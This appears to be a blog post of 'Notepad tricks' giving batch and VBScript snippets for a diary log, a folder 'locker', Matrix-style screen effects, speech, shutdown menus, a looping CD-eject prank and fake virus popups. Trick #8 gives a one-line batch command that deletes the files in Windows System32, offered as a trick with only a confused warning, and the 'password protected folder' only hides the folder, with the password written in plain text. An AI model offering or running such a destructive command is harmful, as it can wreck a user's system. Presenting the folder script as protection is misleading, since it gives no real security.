Super Cool Notepad Tricks, Hacks & Commands

Notepad tricks that you want to know

                                             Notepad


Notepad is a very basic text editor that has been part of Windows for a very long time. It was first released as a mouse-based MS-DOS program in 1983 and has been included in all versions of Microsoft Windows since Windows 1.0 in 1985. It is excellent for writing relatively short text documents that you want to save as plain text, and that is not all you can do with it.
Ok, let’s start.....


#1 daily diary in notepad 
  • First thing first, so you have to open notepad because it is a very important step in these tricks
  • Type “.LOG” on it
  • Then save it “any name.txt "
  • So, whenever you open, it will automatically add time and date to your text.


#2 Create Password protected Folder
  • Open notepad
  • Copy the following code:

cls
@ECHO OFF
title Folder Private
if EXIST "HTG Locker" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=(more than)"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "HTG Locker"
attrib +h +s "HTG Locker"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=(more than)"
if NOT %pass%== PASSWORD  goto FAIL
attrib -h -s "HTG Locker"
ren "HTG Locker" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End

  • Save the file as “any name.bat” with File Type As All Files (*.*).


#3 Matrix effect
Have you remembered the movie matrix? The Matrix is a 1999 science fiction action film. Now you can relive all your Matrix memories via Notepad and a bit of simple code 
  • Open notepad
  • Copy the following code:  

@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks
  
  • Save the file as “any name.bat” with File Type As All Files (*.*).
3


Alternatively, you can use this code for different effect:
@echo off
:a
color 2
echo 1 1 1 0 1 0 0 0 1 1 1 1 0 0 0 1 1 0 0 1 0 0 0 1 1 0 1 0 1 0 0 0 1 1 1 1
ping localhost -n 1 > nul
echo 1 1 0 1 1 1 0 0 0 1 0 1 a f h 0 0 0 1 0 1 1 0 0 1 1 1 0 0 1 0 1 0 0 1 1 0
echo 1 0 0 1 1 0 9 8 1 2 0 1 9 9 2 1 1 1 0 0 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 1 1
ping localhost -n 1 > nul
echo 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 1 0 1 1 0 1 0 0 0 01 0 1 0 0 1 0
ping localhost -n 1 > nul
echo 1 0 1 1 1 0 1 1 0 9 1 1 2 1 1 0 9 1 0 5 7 7 8 7 8 1 3 2 1 2 1 2 3 2 1 3 4
ping localhost -n 1 > nul
echo 1 1 1 0 1 0 0 1 0 0 0 1 1 1 0 0 1 1 1 4 1 2 1 1 2 0 1 0 1 2 2 1 0 1 1 0 1
goto a

#4 Make your computer talk
  • Open notepad
  • Copy the following code:
Dim Message, Speak
Message=InputBox("Enter text","Speak")
Set Speak=CreateObject("sapi.spvoice")
Speak.Speak Message

  • Save the file as “any name.vbs” with File Type As All Files (*.*).


#5 Shutdown, Reboot, And Logoff with notepad
  • Open notepad
  • Copy the following code:

@echo OFF

ECHO "Choose an option .."
ECHO "1 = Logoff"
ECHO "2 = Reboot"
ECHO "3 = Hibernate"
ECHO "4 = Shutdown"

SET /p option=Choose one option-

IF %option%==1 SHUTDOWN /l
IF %option%==2 SHUTDOWN -r -t 10
IF %option%==3 SHUTDOWN /h
IF %option%==4 SHUTDOWN /s /f /t 0

PAUSE

  • Save the file as “any name.bat” with File Type As All Files (*.*).

#6 open cd drive with notepad continuously
  • Copy the following code:

do
Dim ts
Dim strDriveLetter
Dim intDriveLetter
Dim fs 'As Scripting.FileSystemObject
Const CDROM = 4
On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
strDriveLetter = ""
For intDriveLetter = Asc("A") To Asc("Z")
Err.Clear
If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then
If Err.Number = 0 Then
strDriveLetter = Chr(intDriveLetter)
Exit For
End If
End If
Next
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
For d = 0 to colCDROMs.Count - 1
colCDROMs.Item(d).Eject
Next 'null

For d = 0 to colCDROMs.Count - 1
colCDROMs.Item(d).Eject
Next 'null

set owmp = nothing
set colCDROMs = nothing
loop

  • Save the file as “any name.vbs” with File Type As All Files (*.*).

To stop it :
  • press ctrl+alt+delete
  • open task manager
  • click processes
  • click wscript.exe
  • press end process

#7 Make a Fake Pop up Virus
Make fun Prank with Your Friends
  • Copy the following code:
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")
X=MsgBox("virus",0+48,"error")

·         Save the file as “any name.vbs” with File Type As All Files (*.*).


#8 Delete Windows/System32
This trick helps to delete all files of system 32    

DEL C:\WINDOWS\SYSTEM32\*.*/Q

Save the file as “any name.bat” with File Type As All Files (*.*).


Note: Don’t use this code, unless you don’t know about windows corrupt.

Those are some notepad tricks
Have a great day ;)


Post a Comment

0 Comments